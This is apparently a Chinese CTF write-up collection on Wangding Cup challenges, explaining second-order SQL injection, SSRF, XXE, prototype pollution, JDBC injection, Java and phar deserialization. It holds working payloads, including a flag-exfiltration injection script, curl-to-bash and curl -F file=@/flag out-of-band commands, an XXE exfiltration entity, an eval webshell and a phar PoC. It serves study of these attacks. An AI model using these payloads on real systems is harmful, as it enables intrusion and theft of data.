[网鼎杯2018]Unfinish

知识点:

二次注入

msyql字符串相加特性!

exp编写!

有一点要注意:mysql里字符串相加时 只加数字部分!

image-20210411173142873

image-20210411173150292

image-20210411173220289

image-20210411173226674

题目:
先去注册下:

完成可以看到页面!

image-20210411173312941

可以猜测后端代码:

insert into xxx(email,name,pass) values($email,$name,$pass)
select * from xxx where email=xxx and pass=xxx;

一般注册页面:

$registerSQL = "insert into users values(null, '$userName', '$password', '$sex', '$interests', '$myPictureName', '$remark')";

可以看到页面 upload是显示出来的! 所以我们可以像办法让数据回显出来!

用到一个知识点! 着mysql玩的6 的大佬就是强!

10

11

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

就是太长了不行!

用substr截取下:

insert into xxx(email,name,pass) values(email,''+database()+'',pass)

payload:

注意过滤了! 逗号!

insert into xxx(email,name,pass) values(email,''+database()+'',pass)

0'+substr((hex(hex(select/**/*/**/from/**/flag)))/**/from/**/1/**/for/**/10)+'0

'0'+substr((hex(hex((select/**/database()))))/**/from/**/1/**/for/**/10)+'0'

0'%2B(select hex(hex(database())))

0'+(select hex(hex(database())))+'0


'+substr(hex(hex((select * from flag))) from "+str(i*3+1)+" for 3)+'

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/4/9 20:27
# @Author : upload
# @File : 源程序.py
# @Software: PyCharm



import requests
import re
import time

url = 'http://e656ecd2-e488-42a2-9f7c-b8c15e5e1ae7.node3.buuoj.cn/register.php'

j = 1
for i in range(141,151):
data = {

'email' : str(i)+'@qq.com',
'username' : "0'+substr(hex(hex((select * from flag))) from "+str(j)+" for 15)+'0",
"password" : '1'
}
r = requests.post(url=url,data=data)
if r.status_code == 429 :
time.sleep(3)
print (i)
j = j + 15
print (j)
break


url2 = "http://e656ecd2-e488-42a2-9f7c-b8c15e5e1ae7.node3.buuoj.cn/login.php"

str1 = ''
for i in range(141,151):

print ("{}:".format(i) )
flag = str1
data = {
"email" : str(i)+'@qq.com',
"password" : "1"
}
r = requests.post(url=url2, data=data, allow_redirects=True)
a = re.findall('.*</span>', r.text)[0].replace('</span>', '').replace(' ', '')
print (a)

if r.status_code == 429:
print ('fast')
time.sleep(3)
# print (a)
str1 = str1 + a
print (str1)



#
# data={
# "email" : 'e'+'@qq.com',
# "password" : "1"
# }
# r = requests.post(url=url2, data=data,allow_redirects=True)
# a = re.findall('.*</span>',r.text)[0].replace('</span>','').replace(' ','')
# print (a)
# print (r.text)


[网鼎杯 2020 白虎组]PicDown

一开始以为是ssrf

但是能够下载!

image-20210411195155562

可以任意文件下载!

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

python代码审计一些!

发现os.system(shell)

payload:

http://3795babe-56bb-4f54-97be-538a021d8b99.node3.buuoj.cn/no_one_know_the_manager?key=tkXnneQddaIO2zG7liO3rVLFHZgj1S9TQfS5R0oIWVc%3D&shell=curl%20http%3A%2F%2F0.0.0.0%2F1.txt%7Cbash

知识点:

linux proc/pid/信息说明

/proc/pid/cmdline  包含了用于开始进程的命令  ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。
/proc/pid/fd/  这个目录包含了进程打开的每一个文件的链接;

读一下,用下面的paylaod:/page?url=../../../../proc/self/fd/3,这里的/proc/self也是一个链接文件,当进程访问此链接时,就会访问这个进程本身的/proc/pid目录

然后获得secret内容为zgySafkqtdMW5uvibbmE/DEe+aS1hhNbqRa+rqSaavY=

image-20210412112400687

可以理解成访问/proc/pid/fd/进程的 另一种方式!因为pid是不知道的!

最后我自己有想了想!对于linux内核的东西和进程不是很懂!

但是发现!

在/proc 文件系统中,每一个进程都有一个相应的文件  。下面是/proc 目录下的一些重要文件  :
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

他说要通过/proc/pid/ 可以访问进程信息!

但是pid我们是不知道的!

所以我感觉linux就提供 另一种方式:

/proc/self 去访问进程!等同于/proc/pid 先这样理解把!知识越学越完善!😶

上面哪些操作都可以通过:/proc/self访问 如下图:

image-20210412113237390

image-20210412113411178

image-20210412113858826

[网鼎杯 2020 青龙组]boom

知识点:

简单的密码签到

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v5; // [esp+24h] [ebp-128h]
char v6[50]; // [esp+56h] [ebp-F6h]
int v7; // [esp+88h] [ebp-C4h]
int v8; // [esp+8Ch] [ebp-C0h]
int v9; // [esp+90h] [ebp-BCh]
int v10; // [esp+94h] [ebp-B8h]
int v11; // [esp+98h] [ebp-B4h]
int v12; // [esp+9Ch] [ebp-B0h]
int v13; // [esp+A0h] [ebp-ACh]
int v14; // [esp+A4h] [ebp-A8h]
int v15; // [esp+A8h] [ebp-A4h]
int v16; // [esp+ACh] [ebp-A0h]
int v17; // [esp+B0h] [ebp-9Ch]
int v18; // [esp+B4h] [ebp-98h]
int v19; // [esp+B8h] [ebp-94h]
int v20; // [esp+BCh] [ebp-90h]
int v21; // [esp+C0h] [ebp-8Ch]
int v22; // [esp+C4h] [ebp-88h]
unsigned int v23; // [esp+C8h] [ebp-84h]
__int64 v24; // [esp+120h] [ebp-2Ch]
int v25; // [esp+12Ch] [ebp-20h]
int v26; // [esp+130h] [ebp-1Ch]
int v27; // [esp+134h] [ebp-18h]
int v28; // [esp+138h] [ebp-14h]
int i; // [esp+13Ch] [ebp-10h]

__main();
menu();
system("pause");
system("cls");
v7 = 70;
v8 = 229;
v9 = 239;
v10 = 230;
v11 = 22;
v12 = 90;
v13 = 90;
v14 = 251;
v15 = 54;
v16 = 18;
v17 = 23;
v18 = 68;
v19 = 106;
v20 = 45;
v21 = 189;
v22 = 1;
puts("first:this string md5:46e5efe6165a5afb361217446a2dbd01");
scanf("%s", &v5);
MD5Init(&v23);
v3 = strlen(&v5);
MD5Update((int)&v23, &v5, v3);
MD5Final(&v23, (unsigned __int8 *)v6);
v28 = 1;
for ( i = 0; i <= 15; ++i )
{
if ( (unsigned __int8)v6[i] != *(&v7 + i) )
{
v28 = 0;
break;
}
}
if ( v28 != 1 )
{
printf("Game over");
system("pause");
exit(0);
}
puts("Great next level");
system("pause");
system("cls");
puts("This time:Here are have some formulas");
puts("3x-y+z=185");
puts("2x+3y-z=321");
puts("x+y+z=173");
printf("input: x = ");
scanf("%d", &v27);
printf("input: y = ");
scanf("%d", &v26);
printf("input : z = ");
scanf("%d", &v25);
if ( 3 * v27 - v26 + v25 != 185 || 2 * v27 + 3 * v26 - v25 != 321 || v26 + v27 + v25 != 173 )
{
printf("Game over");
exit(0);
}
printf("Great last level coming...");
printf("pause");
system("cls");
puts("Last time: Kill it");
puts("x*x+x-7943722218936282=0");
printf("input x: ");
scanf("%lld", &v24);
if ( v24 * (v24 + 1) != 7943722218936282LL )
{
printf("Game over");
exit(0);
}
puts("Great This is your FLAG");
printf("flag{%s_%d%d%d_%lld}", &v5, v27, v26, v25, v24);
return 0;
}

数学运算就可以了!

md5在线加解密:https://www.cmd5.com
三元一次方程组计算器:http://www.99cankao.com/algebra/unknwn3.php
一元二次方程计算器:http://www.99cankao.com/algebra/quadratic-equation.php

[网鼎杯 2020 青龙组]you_raise_me_up

知识点:

JAVA中&&和&、||和|(短路与和逻辑与、短路或和逻辑或)的区别

五日:

JAVA &&(短路与),&,|,||(短路或)
区别是&&只要第一个条件不满足,后面条件就不再判断。
&要对所有的条件都进行判断。

||和|都是表示“或”。

区别是||只要满足第一个条件,后面的条件就不再判断。
|要对所有的条件进行判断。

&&逻辑与  ||逻辑或  它们都是逻辑运算符
& 按位与  | 按位或  它们都是位运算符

& 按位与  | 按位或  它们都是位运算符

他是位运算:

所以

image-20210412124554541

太难太难了!

看的头炸了!

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
# m = random.randint(2, n-1) | 1
m = 2 | 1
print (m)

flag = 56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
print (long_to_bytes(flag))
# c = pow(m, bytes_to_long(flag), n)111111
# print ('m = ' + str(m))
# print ('c = ' + str(c))

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 66658513942032142458567894507236586325208167916217967759097668952330002340236428787860256449537979953732113084

[网鼎杯 2020 青龙组]filejava

知识点:

Apache-Poi-XXE-Analysis

apache poi 这个组件实际上在 java 应用中蛮常见的,这个组件主要用在 word 文档或者 excel 文件导入的业务场景下使用。众所周知,这些文档实际上也是一个类似压缩包一类的存在,。

就是apache poi 这个组件可以解析 xml!

filejava

哭了!复现不出了!

Apache-Poi-XXE-Analysis

妈的!这题复现真的操蛋!

poc

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://0.0.0.0:8111?popko=%file;'>">

image-20210412173546982

注意

最后直接在里面修改! 不然会有问题! 坑死我了!

就是最后别动文件! 不要改xlsx文件后缀! 直接在压缩包里改.xml文件就可以了!

还有要注意的是 就是

字符串里xml代码%要实体化一下!

坑死我了!😣😣

[网鼎杯 2020 青龙组]notes

知识点

JavaScript 原型链污染

test.a or test['a'] 对数组的元素进行访问

说一下自己看完原型链污染的感受!:

感觉和ssti有点亲切! 可能是__proto__和类的prototype 都要下划线! 都要早父类的原因把!

md,感觉这个比ssti简单! 就找父类就可以了! 利用父类的变量和方法!

如下图! 我记录一下现在的思路把! 怕以后忘🙄🙄🙄

img

看这里为什么数组里默认有值了!

因为:a.__proto__和a['prototype'] 是一样的!就是早一下父类!

img

image-20210412192543969

a.__proto__ 是一个字典类型!

所以:

a['prototype']['dadad']是可以提前设置的! 这样当子类没的化 ,可以用父类的! 如果重新的父类方法或变量!来搞破坏的化! 这就是原型链污染!

个人理解是这样! 大佬写的全!

所以最上面的图就是污染数组 原链了!

大佬里的一道题目测试一下:

image-20210412195643510

在javascript中可以通过 test.a or test['a'] 对数组的元素进行访问

img

img

题目

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8686;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


可以执行命令!

但是commands[index] 这要怎么搞!

https://skysec.top/2020/06/22/CVE-2019-10795-undefsafe-Prototype-Pollution-Vulnerability/

这有大佬复现cve的!

image-20210412235150981

npm ls | grep undefsafe
npm install undefsafe@2.0.2
npm uninstall undefsafe @2.0.3
npm update undefsafe @2.0.2
有时候要空格 有时候不要! 自己看help
npm install -h

着个题是个cve! 大佬说文档里有: 我还是不会看文档 慢慢来吧!

for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf()  方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

啥意思呢! 就是会触发他本身和父类一些属性!比如tostring !

个人感觉是污染了 tostring! 触发漏洞!

原理还是难理解的! 但是要回复现!tnl 😫😫😫

这是咋发现的! molemole!

[网鼎杯 2020 半决赛]AliceWebsite

知识点:

文件包含!

//index.php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>Wecome to Alice's Website!</title>
<link href="./bootstrap/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Alice's Website</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.php?action=home.php">Alice's Website</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="index.php?action=home.php">Home</a></li>
<li><a href="index.php?action=about.php">About</a></li>
</ul>
</div>
</div>
</nav>
<div class="container" style="padding-top: 5%">
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
</div>
</body>
</html>

[网鼎杯 2020 玄武组]SSRFMe

知识点:

ssrf

<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

得到redis密码为root

[网鼎杯 2020 朱雀组]Think Java

这个题挺好玩的!

知识点:

java反编译

swagger-ui.html 他是一个测试接口

jdbc注入

java反序列化

首先等他的ui界面!

看它的路由!

他的源码里 写的sql语句可以注入的!

咋注入呢?

JDBC 注入

jdbc连接数据库语句后面可以跟参数
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
后跟无效参数也不会影响,所以可以

jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#

在url里 HTTP请求不包括#. #是用来指导浏览器动作的

就是#后是不请求的!

jdbc和htpp差不多!

image-20210414165836649

就是 JDBC后面参数没用

#的化 和http一样 不会请求!

然后就是注入payload:

myapp?a=1' union select 1222222222#

myapp?a=1' union select database()#


myapp?a=1' union select group_concat(table_name) from information_schema.tables where table_schema='myapp' #

user

myapp?a=1' union select group_concat(column_name) from information_schema.columns where table_name="user" #

id,name,pwd,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,password_last_changed,password_lifetime,account_locked

myapp?a=1' union select concat(name,pwd) from user #

adminadmin@Rrrr_ctf_asde

jwt

image-20210414171357423

"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",

这里又一篇文章不错!:

还分不清 Cookie、Session、Token、JWT?

看到Bearer 应该就想到了jwt!

java反序列化

大佬的经验:

下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

你把jwt提交后发现:操作成功!

说明这里可以执行反序列化操作!用工具操作一下:

大佬的总结:

即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin

java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin

反弹shell不行! 但是可以curl外带数据!

curl http://0.0.0.0:8689 -F file=@/flag
curl -d '@data.txt' https://google.com/login

[网鼎杯 2020 半决赛]faka

着个tp框架我是真的审计不了!

tnl了!

第一种上传webshell的方式没成功!

https://xz.aliyun.com/t/7838

tnl哭了

还是直接下载简单!

哭了!

小技巧:

在文件里搜一搜 download 还有 file 当你不回审计代码的时候!代码审计是真的难顶!

[网鼎杯 2020 总决赛]Novel

思路就是

<?php $_GET["password"]==="1"?print("1${eval($_POST{a})}"):exit();

{1${任意}}
{1${phpinfo()}}

image-20210417140855180

它可以上传一个txt文件!

public function backup($filename, $dest){
$filename='profile/'.$filename;
if(file_exists($filename)){
$content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
$password=$this->random_code();
$r['path']=$this->_write($dest, $this->_create($password, $content));
$r['password']=$password;
echo json_encode($r);
}
}

/* 先验证保证为备份文件后,再保存为私藏文件 */
private function _write($dest, $content){
$f1=$dest;
$f2='private/'.$this->random_code(10).".php";

$stream_f1 = fopen($f1, 'w+');

fwrite($stream_f1, $content);
rewind($stream_f1);
$f1_read=fread($stream_f1, 3000);

preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);

if(!empty($matches[0])){
copy($f1,$f2);
fclose($stream_f1);
return $f2;
}else{
fwrite($stream_f1, '<?php exit(); ?>');
fclose($stream_f1);
return false;
}

}

private function _create($password, $content){
$_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
return $_content;
}

工具路由! 访问back/backup

提交$filename, $dest 参数

filename是上传的文件! desk任意就可以!

调用_write方法!正则匹配成功! 就把copy($f1,$f2); f1复制到f2 f2是php文件! 写shell就可以了!

[网鼎杯 2020 半决赛]BabyJS

就是通过 post 去执行get 的exec!

那字母构造呢?

不是很懂payload!

ssrf绕过

{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

但是为什么要 http://a'a这样我不是很知道

{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}

这串解出来正好是一个单引号%EF%BC%87

image-20210417154850538

[网鼎杯 2020 总决赛]Game Exp

知识点:

phar反序列化!

不能少了 test.txt 不然类写不进去! 生成完phar后 看看里面的内容!看看有没有类!

https://xz.aliyun.com/search?keyword=phar

phar反序列化

img

据以上代码的测试可知,只要phar://协议解析文件的时候,就会造成序列化的问题,类似这样的函数不光有file_get_contents还有其他函数;

有大牛曾经总结过,所有文件操作的函数都可以触发这种序列化:

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / `fopen``
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

还有大牛深入的分析过这些函数的原理,并且加以扩展:

  • exif_thumbnail
  • exif_imagetype
  • imageloadfont
  • imagecreatefrom***
  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file
  • get_meta_tags
  • get_headers
  • getimagesize
  • getimagesizefromstring

几乎所有和IO有关的函数都涉及到了

要注意一点:必须有test文件!

坑住我了!😶😶😶 没test文件也没类了!

image-20210418154058149

image-20210418154305036

image-20210418154425525

我吐了!

poc

<?php

class AnyClass{
var $output = 'system("cat /*");';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('a.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
<?php
eval(system("dir"));?>
着是可以运行的! 但是题目环境少个逗号 就报错! 不让执行了!吐了!

image-20210418155627800

image-20210418160428028

会报错把! 有点小问题都不行!

image-20210418155644378